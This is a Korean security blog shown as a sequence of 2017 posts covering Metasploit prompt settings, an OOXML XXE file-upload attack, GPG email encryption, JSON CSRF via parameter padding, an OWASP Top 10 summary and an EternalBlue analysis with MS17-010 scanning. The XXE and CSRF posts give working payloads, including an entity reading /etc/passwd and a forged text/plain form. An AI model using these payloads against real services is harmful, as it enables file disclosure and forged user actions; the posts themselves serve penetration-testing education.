5/29/2017

[METASPLOIT] msfconsole 내 Prompt 설정하기

msf 사용 중 간단한 편의 기능에 대한 이야기를 할까합니다. 바로 Prompt 부분에 대해 설정하는 방법인데요.
초기 저는 이 방법이 있을거란 생각도 안하고 코드에서 직접 바꿔서 썼었던 기억이 나네요. (물론 그것도 나름의 장점이!)

먼저 msfconsole을 열어줍니다. 쉘이 떴다면.. 아래와 같이 setg 명령을 이용해 Prompt의 구성을 변경할 수 있습니다. 

msf > setg Prompt "HACKER"
Prompt => HACKER

그러면 아래와 같이 쉘이 바뀝니다.

HACKER >


자 이것만 가지고 이야기를 드리면 좀 심심한 것 같으니 실용적인 Prompt 설정을 해보도록 하죠.
msf 내 Prompt는 여러가지의 변수를 사용할 수 있습니다. 아래 대충 정리한 표를 보시면..

%T - Timestamp
%S - Session count
%J - Job count
%H - Hostname of the local machine
%U - Username of the user running msfconsole
%D - Current local directory
%L - Host to use for listeners (same as 0.0.0.0)


Time, Session count, Job 등 현재 msf의 상태에 대한 정보를 담는 변수들이 있습니다. 이를 활용하면 조금 더 편리한 console 사용이 가능하지요.

Session count와 Job count를 같이 표기해보도록 하겠습니다.

msf > setg Prompt "SHELL(Sessions: %S Jobs: %J) "

SHELL(Sessions: 0 Jobs: 0) >

잘 되었네요. 이를 잘 활용하면.. 좀 더 편안한 msf 사용이 가능하겠죠?

Reference

http://www.r00tsec.com/2011/07/metasploit-console-customizable-prompts.html
https://www.commonexploits.com/customising-the-metasploit-console/
Share: | Coffee Me:

5/27/2017

[WEB HACKING] OOXML XXE Vulnerability(Exploiting XXE In file upload Function!)

오늘은 BlackHat USA 2015에서 공개된 OOXML XXE 기법에 대해 정리할까 합니다.
나온지 조금됬지만.. 아직도 잘쓰이기에 한번쯤 정리하면 좋을거라 생각했었죠.

어찌보면 다른 XXE(PDF,Image,Basic)와 원리로는 크게 다르지 않을 수 있지만 조금 더 생소한 환경에서의 XXE라 매력적입니다. 그럼 시작하겠습니다.
 

OOXML이란?

Office Open XML의 약자로 MS Office에서 XML 사용이 가능한 문서를 지칭합니다. 대표적으로 .xlsx, .docx, .pptx 등이 있죠. 많은 웹 서비스들은 이런 문서 파일을 웹에서 사용하고 파싱합니다. 대표적으로 문서뷰어부터 자동화된 프로그램으로 문서파일을 처리하는 등 많은 곳에서 쓰이고 있지요. 이런 문서 파일들에는 아래에서도 설명드리겠지만.. XML 데이터를 가지고 있습니다. 이 XML 데이터는 다른 웹 서비스에서 문서를 로드할 때 필요하기 때문에 사용되는데 우리는 이걸 이용하여 원하지 않는 흐름(공격?!)을 만들 수 있습니다.

Why Vulnerable?

이런 문서 계열 파일은 압축형태(PK헤더)를 가지며 내부에 문서에 대한 정보,첨부된 파일, 이미지 등 여러가지 데이터가 저장됩니다. 아래 이미지를 보시면 PK헤더인걸 알 수 있죠.

정말 PK 헤더이지요?

이 문서파일의 내부에는 XML 파일들이 존재합니다. 이 XML 파일들은 문서에 대한 설정을 의미하는 경우가 많습니다. (물론 다른것도 있지만요) 대표적으로 아래와 같습니다. 
1. /_rels/.rels
2. [Content_Types].xml
3. Default Main Document Part
   /word/document.xml
   /ppt/presentation.xml
   /xl/workbook.xml

직접 풀어서 보면.. 무수히 많은 파일들이 있는 걸 알 수 있죠.

이 XML 파일들은 Office에서 문서 파일 로드 시 파싱되어 사용되는 값들이죠. 벌써 해답은 나왔습니다. xml 파일을 파싱할 수 있기 때문에 우리는 XXE가 가능한 환경이 되기도 하죠. 물론 MS Office 계열 제품군에선 XXE에 대해 대응이 되어있겠지만 문서를 편집할 수 있는 시스템들은 직접 파싱하여 사용하기 때문에 예외사항이 되겠죠.

위에 이미지에서 별도로 표시한 파일들은 문서의 정보를 담고 있는 파일이고, 다른 xml 보단 웹 환경에서 많이 로드할 수 밖에 없는 파일입니다. 우리는 이 파일에 XML구문을 삽입하면, 즉 XXE나 XML Injection을 한다면 웹서버가 좀 더 특별한 행동을 하게 만들 수 있겠지요.
(흐름을 비틀어야지요)

OOXML XXE Attack

공격에 앞서 우린 OOXML XXE 구문이 삽입된 문서를 만들어야 합니다. (왜냐하면 업로드해야 테스트가 가능하니깐)

일단 문서 파일의 압축을 풀어줍니다.

#> unzip asample.pptx
Archive:  asample.pptx
  inflating: [Content_Types].xml    
  inflating: _rels/.rels            
  inflating: ppt/slides/_rels/slide1.xml.rels 
  inflating: ppt/_rels/presentation.xml.rels 
  inflating: ppt/presentation.xml
  [....]

그럼 아래와 같이 [Content_Type].xml 과 ppt 폴더 내부에서 presentation.xml 파일을 찾을 수 있습니다.
(다른 문서는 위에 설명한 것과 같이 presentation.xml 이 아닌 다른 파일이에요)

#> ll
합계 64
drwxrwxr-x 5 hahwul hahwul  4096  5월 25 22:40 ./
drwxrwxr-x 6 hahwul hahwul  4096  5월 25 22:40 ../
-rw-rw-r-- 1 hahwul hahwul  3549  1월  1  1980 [Content_Types].xml
drwxrwxr-x 2 hahwul hahwul  4096  5월 25 22:40 _rels/
-rw-rw-r-- 1 hahwul hahwul 38745  5월 25 22:40 asample.pptx
drwxrwxr-x 2 hahwul hahwul  4096  5월 25 22:40 docProps/
drwxrwxr-x 9 hahwul hahwul  4096  5월 25 22:40 ppt/

#> ll | grep presentation
-rw-rw-r-- 1 hahwul hahwul 3299  1월  1  1980 presentation.xml

이제 이 파일을 열어서 아래와 같은 XXE 구문을 맘에드는 위치에 삽입해줍니다. (물론 XML 문법이 깨지면 안되겠죠?)

XSS

<!ENTITY hwul "<!CDATA[<script>alert(45)</script>]>">
Get System file

<!ENTITY hwul SYSTEM "file:///etc/passwd">

저는 간단하게 [Content_Types].xml 내 구문을 삽입하였습니다. (passwd 파일 로드!)


이런식으로 xml 파일에 xxe 구문 삽입 후 다시 재 압축해줍니다.

#> zip attackfile.pptx ./* -r
  adding: [Content_Types].xml (deflated 87%)
  adding: _rels/ (stored 0%)
  adding: _rels/.rels (deflated 66%)
  adding: docProps/ (stored 0%)
  adding: docProps/app.xml (deflated 56%)
  adding: docProps/thumbnail.jpeg (deflated 29%)
  adding: docProps/core.xml (deflated 47%)
  adding: ppt/ (stored 0%)
  adding: ppt/presentation.xml (deflated 83%)

그러면..

#> ll
합계 64
drwxrwxr-x 5 hahwul hahwul  4096  5월 25 22:45 ./
drwxrwxr-x 6 hahwul hahwul  4096  5월 25 22:40 ../
-rw-rw-r-- 1 hahwul hahwul  3549  1월  1  1980 [Content_Types].xml
drwxrwxr-x 2 hahwul hahwul  4096  5월 25 22:40 _rels/
-rw-rw-r-- 1 hahwul hahwul 37462  5월 25 22:45 attackfile.pptx
drwxrwxr-x 2 hahwul hahwul  4096  5월 25 22:40 docProps/
drwxrwxr-x 9 hahwul hahwul  4096  5월 25 22:40 ppt/

attackfile.pptx 파일이 생겼네요. 열어보시면 잘 열립니다. (왜냐하면 Office가 파싱하는 부분은 안건드렸기 때문!)

자 이제 이 파일을 문서를 읽는 서비스에 업로드 후 XML이 파싱되어 XXE 구문이 실행되는 걸 보시면 되겠죠?

성공한다면 /etc/passwd를 볼 수 있겠죠? 물론 이 이미지는 Joke 이죠. (실제로 성공한걸 보여드릴 순 없죠..)

OXML XXE Generator tool

공격에 사용하는 문서를 만드는 과정은 매우 귀찮습니다.. 그래서 쉽게 만들 수 있는 툴이 있습니다.
(전 별로 안귀찮..)

OOXML_XXE
https://github.com/BuffaloWill/oxml_xxe

아래 Filetype 을 지원합니다.
DOCX/XLSX/PPTX
ODT/ODG/ODP/ODS
SVG
XML
PDF (experimental)
JPG (experimental)
GIF (experimental)

#> git clone https://github.com/BuffaloWill/oxml_xxe.git
#> cd oxml_xxe


실행에 필요한 라이브러리를 설치해줍니다.

#> apt-get install libsqlite3-dev libxslt-dev libxml2-dev zlib1g-dev gcc
#> gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3
\curl -sSL https://get.rvm.io | bash


oxml_xxe.rb 는 Ruby 2.1.5 버전에서 동작하며 사용하시는 Ruby 버전 확인 후 진행하시면 됩니다.

#> ruby -v

만약 다르다면.. (아마 대체로 다를거에요. 왜냐면 2.1.5는 구버전이기 때문이죠)

rvm을 이용해서 버전을 맞춰줍니다.

#> rvm install 2.1.5; rvm use 2.1.5

자 이제 gem 파일들 체크만 해주시고 바로 실행하시면.. 웹 서버가 동작하고 해당 웹을 통해 변조된 문서 생성이 가능합니다.

#> bundle install
#> ruby server.rb


Open Browser http://127.0.0.1:4567

Reference

https://www.blackhat.com/docs/webcast/11192015-exploiting-xml-entity-vulnerabilities-in-file-parsing-functionality.pdf
https://github.com/BuffaloWill/oxml_xxe
Share: | Coffee Me:

5/26/2017

[DEBIAN] Thunder Bird에서 Anigmail, GnuPG(gpg)를 통한 이메일 암호화

 오늘은 암호화된 메일 통신을 위해 GPG를 이용한 키생성과 Thunder Bird에 연동하는 과정을 이야기할까 합니다. 일반적으로 쓰는 메일 서비스들이 암호화되어 안전하게 전송된다고는 하지만 우리는 신뢰할 수 없기 때문에 종단 간 암호화로 더 튼튼한 이메일을 사용하죠.

그럼 안전한 메일 사용을 위한 이메일 암호화에 대해 알아볼까요.

GnuPG(GPG)를 이용한 비밀키/공개키 생성(Generate Secret&Public key)

먼저 gpg를 이용해서 key를 생성해줍니다.  혹시 gpg가 없다면.. apt를 통해 설치해주세요.

#> gpg --gen-key

gpg (GnuPG) 1.4.20; Copyright (C) 2015 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Please select what kind of key you want:
   (1) RSA and RSA (default)
   (2) DSA and Elgamal
   (3) DSA (sign only)
   (4) RSA (sign only)
Your selection?

(1) RSA and RSA (default)


RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (2048)



디폴트는 2048, 전 조금 더 안전하기 위해(테스트삼아).. 4096으로 진행했습니다.
다음은 키의 유효기간을 설정해줍니다. Default는 무제한입니다.

Please specify how long the key should be valid.
         0 = key does not expire
      <n>  = key expires in n days
      <n>w = key expires in n weeks
      <n>m = key expires in n months
      <n>y = key expires in n years
Key is valid for? (0)

그다음은 사용자 이름 설정 (최소 5글자)

You need a user ID to identify your key; the software constructs the user ID
from the Real Name, Comment and Email Address in this form:
    "Heinrich Heine (Der Dichter) <heinrichh@duesseldorf.de>"

Real name: TESTzz


... 개인정보 설정

마지막으로 비밀키 생성을 위한 패스워드 입력

You need a Passphrase to protect your secret key.

Enter passphrase:


..........................+++++
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.

이용가능한 랜덤 바이트가 충분하지 않습니다. 어떤 다른 일을 해서
OS가 좀 더 많은 엔트로피를 모을 수 있게 하십시오! (212 바이트가 더 필요합니다.)


한참걸렷네요. 역시 4096은...ㅋㅋㅋ

gpg: key 37B011BB marked as ultimately trusted
public and secret key created and signed.

gpg: checking the trustdb
gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model
gpg: depth: 0  valid:   1  signed:   0  trust: 0-, 0q, 0n, 0m, 0f, 1u
pub   4096R/37B011BB 2017-05-25
      Key fingerprint = 8A60 656B 6F89 E3E2 F465  EAF1 F363 4A3A 37B0 11BB
uid                  TESTzzz <asdfasdfas@asdfasdf.com>
sub   4096R/900EBEA7 2017-05-25

키 생성이 완료되었습니다.


이제 공개키를 보기편하게 출력하면..
#> gpg --armor --export [YOUR@EMAILz]

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1

mQINBFRQA8EBEADrLHxW4807EJMzDjhrR5+FRy5/3616nyLlbWFTLnS1/i514L7Z
LVzbho4eZWjErRWqT1mr+E7dr/c8Ei5J8kUMqm5MoSkCoc5Y7Gp0jKhfDF4Megpd
X2ZKw7VG+4GZU9gxbm+6ymHeDAFRfQjUoHzCZsdsgnhi1C58kMoY39dFidlk24AG
E7y8WEg42yzSyJFjK5+qdGuKTBK4UmYM3uxHbxZgBLZ1PQ9DhsToauTqQSJEFzC+
r4qQeO6CeZAUEhgCt3HnmKE8hdARQelNRICrQc/Gpd3c3Wcpi3zj61cRqTCDBtNJ
h66bN+b6MilfT1S+9YMqLACXIWRcXPPUUWanmleguzGfngRjr/qf2PF6g2HYsp40
4M3CE0JX5O5iD4A81b5duuhIzZhJu1LFyn0uPX/zHlEwo36cQF3ElbsKyX6woXpx
hbHf67y6oQdSivhJvshJamRHxgi+bU6kkiiY0E8L5/8h309TVpd0wXfYfMPeE+V6
GsLjbxlU2bYrVxocREZpjCzqKBCmbZZxAd9eQPl8dYAs7kpxh8v3N9PEs0TRH2rh
KYjhKE++G/XuFOc6lm2gE5SnmwcDdJlIQm8YhW2LF/tTmQjAnxu4ILeWHwufhubv
BWn2UkdkGitrKEUmk9z24BMRKdPy0aALblvLCtri+2mf7ZaP9Stkdr/7yQARAQAB
tCZNaWNoYWwgUGFwaXMgPG1pY2hhbC5wYXBpc0B0b3B0YWwuY29tPokCNwQTAQgA
IQUCWLHEMwIbAwULCQgHAgYVCAkKCwIEFgIDAQIeAQIXgAAKCRA4BLuC053A4+MY
D/97E5xv9aWQ0hZEC4ojrshTKGfsf1/0f1CvsvO6PthrvVBbsuIyArOpOwjKnuXG
uF0UiAfUFsqv27NW8f+HFRKYsMCjJMSFq7Hl07bCifPoVoRJcyy/HDUxQs/uGsez
yhPHghk1F3MjMswHtEsrByNmwlhX0HvERhMvtXJyx+fqjtjMCwyijePmrdgA2Ra2
......


이런 형태의 PGP 공개키로 출력할 수 있습니다. 참고로.. 4096이면 굉장히 많습니다.
(보통 2048을 많이 사용하죠. )

이제 이 값을.. 뿌리시면 됩니다.

Thunder Bird에서 Enigmail 사용하기

gpg를 통해 비밀키와 공개키 생성을 하였으니 썬더버드에 연동해봅시다.
(사실 썬더버드에서Enigmail 사용 시 직접 키 생성도 가능...한)




메일 클라이언트에서 암호화 메일을 사용하기 위해 addon을 하나 설치합니다. 바로 Enigmail이라는 Addon이고 Thunder Bird에서 암호화된 메일을 사용할 수 있도록 지원해줍니다.

눈치 채셨겠지만.. 에니그마에서 비롯된 이름이죠.

썬더버드 로딩 후 메뉴 > Addon 에 들어가서 검색 후 설치해줍니다.



아니면.. 직접 설치하셔도 되구요. 아래 링크 접속 후 다운로드 해주세요.

https://addons.mozilla.org/ko/thunderbird/addon/enigmail/





접속 후 다운로드를 누르면 .xpi 파일이 다운로드 됩니다. Addon 직접 설치로 깔아주시면 됩니다.
(그냥 위에 방법이 훠워워워어어어얼씬 편해요)


재부팅하면 Anigmail이 실행되면서 암호화키를 설정하라고 나옵니다.


우리는 미리 키를 만들었으니 2번째를 선택해줍니다. (물론 여기서 직접 만드시려면 맨위에꺼)


그럼 또 물어보는데, 내 키를 쓰고싶다고 해줍니다.


테스트(?) 삼아 보여드리는 부분이라 원래 저장된 디렉토리로 주었는데요, 실제로 사용하실 땐 키 따로 보관하시고 지정해주시면 됩니다.


자 이제 설정은 끝났습니다.
이제부턴 메일 Write 부분에 Enigmail 이 추가되어 나타납니다.


그리고.. 아래와 같이 암호화되지 않은 메일은 빨간글씨로 나타나지요.

암호화하고, 설정까지 달아서 전송하면 이제 이 메일의 본문은 암호화 됩니다.

(중요합니다. 제목은 암호화되지 않아요)


키가 등록된 썬더버드에선 자동으로 풀려서 보이지만 그냥 gmail 앱(등록하지 않아서)에서는 아래와 같이 암호화 데이터로 보입니다.

그쵸?제목은 암호화되지 않아요.

Reference

http://docbook.kr/wiki/index.php/ThunderBird
Share: | Coffee Me:

5/24/2017

[WEB HACKING] Parameter Padding for Attack a JSON CSRF(Cross-site Request Forgery)

좀 오래된 우회기법(?)이긴 하나 한번 정리해두면 좋을 것 같아 포스팅합니다.
오늘은 CSRF 그중에서도 JSON 형태의 요청을 처리하는데 사용할 수 있는 방법이죠.

많은 수의 CSRF는 GET 형태의 경우 <img> 태그 활용, POST 형태의 경우 <form> 태크나 Jquery, XML Request 등을 이용하여 코드를 만듭니다.
일반적인 웹 형태의 요청이기 때문에 가능하죠. 그러나 아래와 같이 JSON 형태로 요청이 나간다면 어떨까요?

POST /zzzwrite.php HTTP/1.1
[....]

{"title":123,"content":"hello","board_code":1}
<img> <form> 등의 태그로는 JSON 형태를 구현할 수 없고, Jquey나 XML Reuqest를 쓰자니 SOP에 의해 제어되어 원격지에 대한 요청은 어렵게되죠. 약간 간단한 트릭으로 넘어갈 수 있습니다.



Parameter Padding


{"title":123,"content":"hello","board_code":1} 요런 형태의 값을 전송하기 위해선 JSON이 필요하지만 간단한 Padding으로 넘어갈 수 있습니다. 위 값이.. 파라미터명이 되면 됩니다. 아래 내용을 보시죠.

<form action="csrfpage" method="POST">
<input name='{"title":123,"content":"hello","board_code":1,"hwul":"' value='=bypass"'>
<input type="submit" value="Attack!">
</form>
이런식으로 name에 JSON 구문이 들어가고 파라미터와 값을 이어주는 = 을 날리기 위해 value로 짤라주게 되면 아래와 같이 정상적인 JSON 구문이 발생하게 되죠.

{"title":123,"content":"hello","board_code":1,"hwul":"=bypass"}

그럼 이제 CSRF를 통해 JSON 형태의 값을 던질 수 있겠지요. 자 이제 하나 더 생각해봅시다.

enctype을 이용한 type 변경

위 코드로도 잘 되겠지만 상황에 따라 전송되는 형태가 바뀌어서 값이 변화되는 경우들이 있습니다. 사전에 미리 방지하기 위해 enctype을 이용해서 전송 포맷을 고정해줍니다.

<form action="csrfpage" method="POST" enctype="text/plain">
<input name='{"title":123,"content":"hello","board_code":1,"hwul":"' value='bypass"}'>
<input type="submit" value="Attack!">
</form>
이 코드로 테스트를 해보면..

POST /xss.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: text/plain
Content-Length: 65
Referer: http://127.0.0.1/jcsrf.html
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

{"title":123,"content":"hello","board_code":1,"hwul":"=bypass"}
JSON 형태로 요청이 발생했네요! 간단하죵


Reference

http://blog.opensecurityresearch.com/2012/02/json-csrf-with-parameter-padding.html
Share: | Coffee Me:

[CODING] Make Cross-platform App with Xamarin(Android/iOs/Windows mobile)


오늘은 Multiple platform 환경에서 App 개발에 대한 이야기를 할까합니다.

What is Xamarin?

Xamarin은 cross platform 간 개발을 위해 만들어진 개발 프레임워크입니다.
iOS, Android, Windows Phone 모두 지원한다고 하네요. MvvmCfross 를 지원하고 이를 이용해 각 플랫폼 간 App을 구성할 수 있죠.
직접 써보진 않았지만.. (난 개발자가 아니니깐!) 동시에 여러가지 플랫폼으로 개발을 해야하는 개발자분들에겐 한번 봐볼만한 툴인 것 같습니다.


[이런 형태의 구조를 가집니다.]



https://uploads.toptal.io/blog/image/122876/toptal-blog-image-1493279820818-def5075c715e4ffb6ac5b51028abad80.jpg

자세한 내용은 아래 링크 참고해주세요.
https://www.toptal.com/xamarin/cross-platform-apps-with-xamarin


Toptal collaboration & Reference

This post originally apperared in Toptal
(https://www.toptal.com/xamarin/cross-platform-apps-with-xamarin)
Share: | Coffee Me:

[WEB HACKING] 10 Most Common Web Security Vulnerabilities(OWASP TOP 10 2013?!)

이번 Toptal에서 공유받은 웹 환경 발생하는 취약성 10가지에 대한 이야기입니다.
OWASP TOP 10 생각하시면 될듯하네요. 요약해서 포스팅해봅니다. (원본 글 링크는 아래있으니 참고해주세요)


!This article was written in collaboration with "Toptal".

1. Injection flaws
아마도 영향력 대비 발생빈도도 높은 취약점 중 하나입니다. Injection 계열은 대체로 서비스에 큰 영향을 미칠 수 있는 취약점이며
대표적으로 SQL Injection, XXE, Code Injection 등 여러가지 형태가 있습니다.

2. Broken Authentication
두번째는 인증에 대해 우회입니다. 특정 권한이 있는 사용자만 사용할 수 있는 페이지나 별도의 처리가 있어야 접속할 수 있는 웹에서
인증하지 않고 페이지, 기능에 접근하는 걸 의미하죠. 실제로 이 취약점또한 많이 나오네요.

3. XSS
대망의 XSS입니다. 개인적으로 발생빈도 대비 위험성으로는 XSS만한게 없다고 봅니다. 아마 대부분 웹사이트에서 분석 잘 하면
수두룩하게 나올 것이고, 잘 되어있는 큰 기업 사이트나 대형 서비스 또한 절대 안전할 수 없다고 보죠. 많이 나오구요.

일반적으로는 쿠키탈취, 세션 제어 목적정도로 사용된다고 생각하겠지만 Javascript 사용이 가능하기 때문에 DOS나 각종 Client base Exploit에도
사용됩니다.

4. Insecure Direct Object Reference
Object에 대해 직접참조로 발생하는 문제입니다. 위 케이스보단 적지만 제공하는 Object 기능,내용에 따라 파급력이 상당할수도 있죠.

5. Seucirty Misconfiguration
스캐너로 가장 많이 확인할 수 있는 부분입니다. 잘못된 서버 설정은 다른 자체적으로도 문제가 있지만 다른 취약점의 발생 원인에 큰 몫을 합니다.
제가 생각하기에도 이 부분은 확실하게 체크되어야 하는 부분이죠.

6. Sensitive data Exposure
민감한 파일에 대한 접근 또한 문제가 될 수 있습니다. 인증 로직이나 외부적으로 접근할 수 없게 만들어 공격자로 부터 차단해야하지만
생각보다 이런 내용을 고려한 웹은 많지 않습니다.

7. Missing function level access control
어떻게 보면 Broken Auth, Insecure Direct Object랑 유사하지만 약간 다른부분이 있습니다. 함수 자체에 대한 접근 제어인데요,
저도 지금까지 많은 사이트를 테스트하고 진단해왔지만 함수단에서 제어하는 것 까지 설계된 곳은 많지 않았습니다.
Client Base인 경우에는 분석이 쉽지만 영향력이 떨어질 것이고 Server Base라면 영향력이 높고 분석또한 어렵겠죠.
(일단 코드단 접근이 어려우니.. 리버싱처럼 직접 체크할수도 없고..)

8. CSRF
역시 어딜가나 CSRF도 빠지지 않습니다. 사용자의 권한을 이용해서 기능을 수행하거나, JSON Hijacking, 권한 탈취 등
여러가지 공격루트에 사용되는 취약점이기도 합니다. 다만 권한을 가진 사람이 봐야한다는 조건이 붙어 바로 영향을 보여줄 순 없죠.
그래도.. 광고나 어뷰징으로 많이 사용되고 취약점으로 인해 문제가 발생한 사건들도 많기에 중요한 취약점이죠.

9. Using components with known vulnerabilities
알려진 취약점이 있는 컴포넌트를 사용하는건 서비스 전체적으로 취약점이 발생할 수 있는 빌미를 제공합니다.
EDB나 0daytoday에 보시면 정기적으로 많은 취약점들이 올라오는데, 취약점이 존재하는 라이브러리, 코드를 기반으로 만들어진 서비스들은
자연스럽게 취약점을 가질수 밖에 없습니다. 이를 쉽게 찾기 위해 코드의 모양을 그래프로 표현하여 분석하는 도구, 그걸 연구하시는 분들도 많이 있죠.

10. Unvalidated redirects and forwards
마지막으로.. 조금 의외인 URL Redirection입니다. 개인적으로 OWASP TOP 10에 꼭 들어가야하나.. 싶은 생각은 약간 있어요.
전반적으로 XSS보다 발생할 가능성도 높고 더 많이 보았던 것 같습니다.
해당 취약점은 다른 서비스로 이동하는 기능 등 타 도메인으로 넘어가는 구간에서 파라미터 값에 대해 변조하여 악의적인 사이트로 넘어가도록 합니다.
이 링크를 복사해서 일반 사용자에게 뿌리면.. 사용자는 신뢰하는 서비스의 페이지인줄 알고 접근하지만 redirection 되어 악의적인 페이지, 스크립트 구문으로 넘어가 피해를 입을 수 있습니다.


OWASP TOP 10의 변화

약간의 내용을 덧붙이는게 좋을 것 같아서 작성합니다. 조만간 OWASP TOP 10 2017 기준으로 포스팅 한번 하겠지만.. 앞서 보여드리면 몇가지 항목의 변화가 있습니다.


Redirection 대신.. Underprotected APIs가 들어왔네요. (당연 API 중요하죠. 실제로 케이스도 많구요)

Toptal collaboration & Reference

This post originally apperared in Toptal
(https://www.toptal.com/security/10-most-common-web-security-vulnerabilities)

Reference

https://www.toptal.com/security/10-most-common-web-security-vulnerabilities
https://www.owasp.org/images/3/3c/OWASP_Top_10_-_2017_Release_Candidate1_English.pdf
Share: | Coffee Me:

5/21/2017

[HACKING] Eternalblue vulnerability&exploit and msf code

지난주 쯤인가요..? Shadow Brokers 가 공개한 Eternal 시리즈의 취약점을 주제로 포스팅을 할까 했습니다만..

이번 주말에 관련해서 이슈가 터져버렸네요. (정신없는 사이 벌써 한주가 지났네요..헣)

WanaCrypt0r 랜섬웨어도 사용하고 있는 Eternalblue에 대해 조금 알아볼까 합니다.


What is Eternalblue Vulnerability?

Eternalblue 취약점은 MS17-010, 패치된 SMB(Server Message Block) Protocol을 이용한 취약점입니다.

아직 내용에 대해 자세히 분석해본건 아니지만.. 간략하게 요약하면 아래와 같습니다.
Windows 내 Srv.sys 의 잘못된 복사로 인해 SrvOs2FeaListSizeToNt 처리에서 문제가 발생하고 SrvOs2FeaToNt 함수에서 트리거됩니다.
SrvOs2FeaToNt까지 호출 순서를 보면..

SrvOs2FeaToNt -> SrvOs2FeaListToNt -> SrvOs2FeaListSizeToNt -> SrvOs2FeaToNt

순서로 호출됩니다. 문제가 발생한 SrvOs2FeaListSizeToNt(아래코드)를 보면 크기 변환이 끝난 후 SizeToNt함수의 결과가 pOs2Fea의 legnth가 되는데
나중에 비교 구문에서 더 큰 값이 들어갈때 문제가 발생합니다.

unsigned int __fastcall SrvOs2FeaListToNt(int pOs2Fea, int *pArgNtFea, int *a3, _WORD *a4)
{
  __int16 v5; // bx@1
  unsigned int Size; // eax@1
  NTFEA *pNtFea; // ecx@3
  int pOs2FeaBody; // esi@9
  int v10; // edx@9
  unsigned int v11; // esi@14
  int v12; // [sp+Ch] [bp-Ch]@11
  unsigned int v14; // [sp+20h] [bp+8h]@9

  v5 = 0;
  Size = SrvOs2FeaListSizeToNt(pOs2Fea); // 요기부분이죠. SizeToNt함수를 통해 return 된 값이 Size 로 쓰이죠.
  /*
 
  unsigned int __fastcall SrvOs2FeaListSizeToNt(int pOs2Fea) 내부
  v1 = 0;
  Length = *(_DWORD *)pOs2Fea; //DWROD로 캐스팅 한 값이 들어가지만, 원래 pOs2Fea의 Size는 DWORD값이라 크게 상관 없네요.
  pBody = pOs2Fea + 4;
 
  */
 
  *a3 = Size;
  [....]

동일한 함수 아랫부분엔 SrvOs2FeaToNt()함수가 호출되는 부분이 나타납니다.

    [....]
    if ( pOs2FeaBody == pOs2Fea + *(_DWORD *)pOs2Fea )
      {
        *(_DWORD *)v10 = 0;
        return 0;
      }
      v11 = 0xC0000001;
      *a4 = v5 - pOs2Fea;
    }
    else
    {
      while ( !(*(_BYTE *)pOs2FeaBody & 0x7F) )
      {
        v12 = (int)pNtFea;
        v5 = pOs2FeaBody;
        pNtFea = (NTFEA *)SrvOs2FeaToNt(pNtFea, pOs2FeaBody); // pNtFea 와 pOs2FeaBody 값을 인수로 넘깁니다.
        pOs2FeaBody += *(_BYTE *)(pOs2FeaBody + 1) + *(_WORD *)(pOs2FeaBody + 2) + 5;
아래는 Srv.sys 내 SrvOs2FeaToNt 함수이고 여기서 2번째 _memmove() 함수에서 취약점이 트리거된다고 합니다.

unsigned int __fastcall SrvOs2FeaToNt(int a1, int a2)
{
  int v4; // edi@1
  _BYTE *v5; // edi@1
  unsigned int result; // eax@1

  v4 = a1 + 8;
  *(_BYTE *)(a1 + 4) = *(_BYTE *)a2;
  *(_BYTE *)(a1 + 5) = *(_BYTE *)(a2 + 1);
  *(_WORD *)(a1 + 6) = *(_WORD *)(a2 + 2);
  _memmove((void *)(a1 + 8), (const void *)(a2 + 4), *(_BYTE *)(a2 + 1));
  v5 = (_BYTE *)(*(_BYTE *)(a1 + 5) + v4);
  *v5++ = 0;
  _memmove(v5, (const void *)(a2 + 5 + *(_BYTE *)(a1 + 5)), *(_WORD *)(a1 + 6)); // 이부분
  result = (unsigned int)&v5[*(_WORD *)(a1 + 6) + 3] & 0xFFFFFFFC;
  *(_DWORD *)a1 = result - a1;
  return result;
}
아무래도 시간을 두고 좀 연구가 필요할 것 같네요. (저도 이해의 어려움이 많습니다..@_@)

How to Check? (Metasploit)

Eternal 시리즈의 취약점은 이미 Metasploit 에 체크 코드가 올라와있습니다. ms17 로 검색하시면 나오는 것 중 ms17-010 내용으로 진행하시면 됩니다.

HAHWUL exploit(/) > search ms17

Matching Modules
================

   Name                                                   Disclosure Date  Rank    Description
   ----                                                   ---------------  ----    -----------
   auxiliary/admin/mssql/mssql_enum_domain_accounts                        normal  Microsoft SQL Server SUSER_SNAME Windows Domain Account Enumeration
   auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli                   normal  Microsoft SQL Server SQLi SUSER_SNAME Windows Domain Account Enumeration
   auxiliary/admin/mssql/mssql_enum_sql_logins                             normal  Microsoft SQL Server SUSER_SNAME SQL Logins Enumeration
   auxiliary/admin/mssql/mssql_escalate_execute_as                         normal  Microsoft SQL Server Escalate EXECUTE AS
   auxiliary/admin/mssql/mssql_escalate_execute_as_sqli                    normal  Microsoft SQL Server SQLi Escalate Execute AS
   auxiliary/scanner/smb/smb_ms17_010                                      normal  MS17-010 SMB RCE Detection

옵션은 별다른게 없어요. 단순히 SMB를 사용하는지, 취약한지 테스트하는 정도라.. 대상 호스트 정도 지정해줍니다.

HAHWUL > use auxiliary/scanner/smb/smb_ms17_010
HAHWUL auxiliary(smb_ms17_010) > show options

Module options (auxiliary/scanner/smb/smb_ms17_010):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   RHOSTS                      yes       The target address range or CIDR identifier
   RPORT      445              yes       The SMB service port (TCP)
   SMBDomain  .                no        The Windows domain to use for authentication
   SMBPass                     no        The password for the specified username
   SMBUser                     no        The username to authenticate as
   THREADS    1                yes       The number of concurrent threads

제 가상환경은.. 취약하네요. (패치를 안했으니)

HAHWUL auxiliary(smb_ms17_010) > set RHOSTS 192.168.56.101
RHOSTS => 192.168.56.101
HAHWUL auxiliary(smb_ms17_010) > run

